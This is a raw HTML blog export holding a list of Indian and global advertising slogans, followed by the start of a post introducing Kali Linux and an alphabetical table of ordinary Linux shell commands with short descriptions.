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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">The complete man</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Raymond’s<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Definitely Male</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Bajaj Pulsar<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Swad zindagi ka</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Dairy Milk<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">The honest shirt</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Peter England<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">No confusion, great combination</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Bingo<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Boost is the secret of my energy</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Boost<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Tandurusti hai yahan</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Lifebuoy<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Tyres with muscle</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ MRF<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> <b>What an Idea Sirjee</b> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Idea<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">An idea can change your life</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Idea<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Wherever you go, our network follows</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Hutch, Vodafone<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Neighbour’s envy, owner’s pride</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Onida<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">The king of good times</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Kingfisher<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Live life kingsize</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Foursquare<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Hungry kya?</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Domino’s<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Yeh dil maange more</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Pepsi<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Pal banaaye magical</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Lays<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Hum mein hai hero</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Hero Motocorp<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> <b>Start it, fill it, forget it</b> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Hero Honda<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">The taste of India</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Amul<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Express yourself</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Airtel<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Mera sapna, sabka apna</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Reliance communications<o:p></o:p></span></div>
<div class="MsoNormal" style="color: #222222; font-family: "Segoe UI", Arial; font-size: 14px; margin-bottom: 0.0001pt;">
<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> <b>Only Vimal</b> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Vimal<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Do you have it in you?</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Indian Army<o:p></o:p></span></div>
<div class="MsoNormal" style="color: #222222; font-family: "Segoe UI", Arial; font-size: 14px; margin-bottom: 0.0001pt;">
<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Zindagi ke saath bhi, zindagi ke baad bhi</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ LIC<o:p></o:p></span></div>
<div class="MsoNormal" style="color: #222222; font-family: "Segoe UI", Arial; font-size: 14px; margin-bottom: 0.0001pt;">
<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Isko laga dala to life zingalala</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ TataSky<o:p></o:p></span></div>
<div class="MsoNormal" style="color: #222222; font-family: "Segoe UI", Arial; font-size: 14px; margin-bottom: 0.0001pt;">
<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Yeh fevicol ka majboot zod hai, tootega nahi</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Fevicol<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> <b>Dobara mat puchna</b> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Chlormint<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Dimaag ki batti jala de</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Mentos<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Bajaate raho</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Red FM<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Its hot!</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Radio Mirchi<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> <b>Wah Taj! </b> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Taj Mahal Tea<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Bujhaaye pyaas, baki all bakwas</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Sprite<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> <b>No one can eat just one</b> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Lays<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Jiyo sir uthake</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ HDFC Life Insurance<o:p></o:p></span></div>
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<span lang="EN-US" style="font-size: 17.3333px;"><span style="color: #222222; font-family: "segoe print";">L'Oréal: "Because You're Worth It"</span></span></div>
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<span lang="EN-US" style="font-size: 17.3333px;"><span style="color: #222222; font-family: "segoe print";">California Milk Processor Board: "Got Milk?"</span></span></div>
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<span lang="EN-US" style="font-size: 17.3333px;"><span style="color: #222222; font-family: "segoe print";">MasterCard: "There are some things money can't buy. For everything else, there's MasterCard."</span></span></div>
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<span lang="EN-US" style="font-size: 17.3333px;"><span style="color: #222222; font-family: "segoe print";">BMW: "Designed for Driving Pleasure"</span></span><br />
<span lang="EN-US" style="font-size: 17.3333px;"><span style="color: #222222; font-family: "segoe print";"></span></span><br />
<span style="color: #444444; font-size: 16px;"><div class="MsoNormal" style="font-family: "Courier New", Courier, monospace; margin-bottom: 0.0001pt;">
<span style="font-family: Courier New, Courier, monospace;"><span style="color: #444444; font-size: 16px;"><br /></span></span></div>
<span style="font-family: Times, Times New Roman, serif;"><ul style="text-align: left;">
<li>Harley Davidson – American by Birth. Rebel by Choice.</li>
<li>Volkswagen – Think Small.</li>
<li>Porsche – There is no substitute.</li>
<li>Aston Martin – Power, beauty and soul.</li>
<li>Walmart – Save Money. Live Better.</li>
<li>Reebok – I am what I am.</li>
<li>Nike – Just do it.</li>
<li>Adidas – Impossible is Nothing.</li>
<li>Calvin Klein – Between love and madness lies obsession.</li>
<li>Marks & Spencer – The customer is always and completely right!</li>
<li>Levis – Quality never goes out of style.</li>
<li>Tag Heuer – Success. It’s a Mind Game.</li>
<li>3M – Innovation.</li>
<li>IBM – Solutions for a smart planet.</li>
<li>Sony – Make Believe.</li>
<li>IMAX – Think big.</li>
<li>DuPont – The miracles of science.</li>
<li>Energizer – Keeps going and going and going.</li>
<li>PlayStation – Live in your world. Play in ours.</li>
<li>EA – Challenge everything.</li>
<li>Blogger – Push button publishing.</li>
<li>Canon – See what we mean.</li>
<li>Nikon – At the heart of the image.</li>
<li>Kodak – Share moments. Share life.</li>
<li>Olympus – Your vision. Our future.</li>
<li>FedEx – When there is no tomorrow.</li>
<li>Red Cross – The greatest tragedy is indifference.</li>
<li>Disneyland – The happiest place on earth.</li>
<li>Holiday Inn – Pleasing people the world over.</li>
<li>Hallmark – When you care enough to send the very best.</li>
<li>Fortune – For the men in charge of change.</li>
<li>Ajax – Stronger than dirt.</li>
<li>Yellow Pages – Let your fingers do the walking.</li>
<li>McDonalds – I’m loving it.</li>
<li>KFC – Finger lickin’ good.</li>
<li>Burger King – Have it your way.</li>
</ul>
</span></span></div>
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<span lang="EN-US" style="font-size: 17.3333px;"><span style="color: #222222; font-family: "segoe print";"><br /></span></span></div>
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<span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">And finally<o:p></o:p></span></div>
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<b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Have a break, have a KitKat !</span></b><br />
<b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">some of the above might be repeated...... 8-).</span></b></div>
</div>
</div>
Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-76647353014352126312017-09-04T13:00:00.000+05:302017-09-04T13:00:14.531+05:30A to Z Kali Linux Commands.<div dir="ltr" style="text-align: left;" trbidi="on">
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<b style="background-color: white; color: #222222; font-family: sans-serif; font-size: 14px;">Kali Linux</b><span style="background-color: white; color: #222222; font-family: sans-serif; font-size: 14px;"> is a </span>Debian<span style="background-color: white; color: #222222; font-family: sans-serif; font-size: 14px;">-derived </span>Linux distribution<span style="background-color: white; color: #222222; font-family: sans-serif; font-size: 14px;"> designed for </span>digital forensics<span style="background-color: white; color: #222222; font-family: sans-serif; font-size: 14px;"> and </span>penetration testing<span style="background-color: white; color: #222222; font-family: sans-serif; font-size: 14px;">. It is maintained and funded by </span>Offensive Security Ltd<span style="background-color: white; color: #222222; font-family: sans-serif; font-size: 14px;">. </span>Mati Aharoni<span style="background-color: white; color: #222222; font-family: sans-serif; font-size: 14px;">, Devon Kearns and Raphaël Hertzog are the core developers.</span><br />
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEXo-pKb9umeIojGbv7f_lemSxrLo28z24zIoZSG-f42V14WtXK7nrzfZfUHLoHATqDKBQKLpo5cW1pZc3hPn37OeNkdRVOUrkVWbCKmOOez6BRJyJ4QmBFPVtUKQ7yKczlFn3iBOE4bgC/s1600/kali-wallpaper-2015-v1.1.0.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="A to Z Kali Linux Commands." border="0" data-original-height="900" data-original-width="1600" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEXo-pKb9umeIojGbv7f_lemSxrLo28z24zIoZSG-f42V14WtXK7nrzfZfUHLoHATqDKBQKLpo5cW1pZc3hPn37OeNkdRVOUrkVWbCKmOOez6BRJyJ4QmBFPVtUKQ7yKczlFn3iBOE4bgC/s640/kali-wallpaper-2015-v1.1.0.png" title="A to Z Kali Linux Commands." width="640" /></a></div>
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<span style="background-color: white; font-size: 14px;"><span style="color: #222222; font-family: sans-serif;">Kali Linux has over 600 preinstalled penetration-testing programs, including Armitage (a graphical cyber attack management tool), Nmap (a port scanner), Wireshark (a packet analyzer), John the Ripper password cracker, Aircrack-ng (a software suite for penetration-testing wireless LANs), Burp suite and OWASP ZAP web application security scanners.[3][4] Kali Linux can run natively when installed on a computer's hard disk, can be booted from a live CD or live USB, or it can run within a virtual machine. It is a supported platform of the Metasploit Project's Metasploit Framework, a tool for developing and executing security exploits.</span></span><br />
<span style="background-color: white; font-size: 14px;"><span style="color: #222222; font-family: sans-serif;"><b><br /></b></span></span>
<b>Kali Linux Commands</b><br />
<br />
Following is a list of all known Kali Linux Commands in a alphabetical order ease search.<br />
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<table style="background-color: white; border-collapse: collapse; border-spacing: 0px; border: 0px; color: #0e0b0b; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 13px; margin: 0px; max-width: 100%; padding: 0px; vertical-align: baseline;"><tbody style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<tr style="border: 0px; font-family: inherit; height: 47px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 47px; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Kali Linux commands</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 47px; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Function</strong></td></tr>
<tr style="border: 0px; font-family: inherit; height: 29px; margin: 0px; padding: 0px; vertical-align: baseline;"><td colspan="2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 29px; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><div style="border: 0px; font-family: inherit; margin-bottom: 1.857em; padding: 0px; vertical-align: baseline;">
<strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">A</strong></div>
</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> apropos</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Search Help manual pages (man -k)</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> apt-get</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Search for and install software packages (Debian)</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> aptitude</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Search for and install software packages (Debian)</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> aspell</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Spell Checker</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> awk</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Find and Replace text, database sort/validate/index</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td colspan="2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">B</strong></td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> basename</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Strip directory and suffix from filenames</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> bash</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> GNU Bourne-Again Shell</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> bc</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Arbitrary precision calculator language</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> bg</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Send to background</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> break</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Exit from a loop</td></tr>
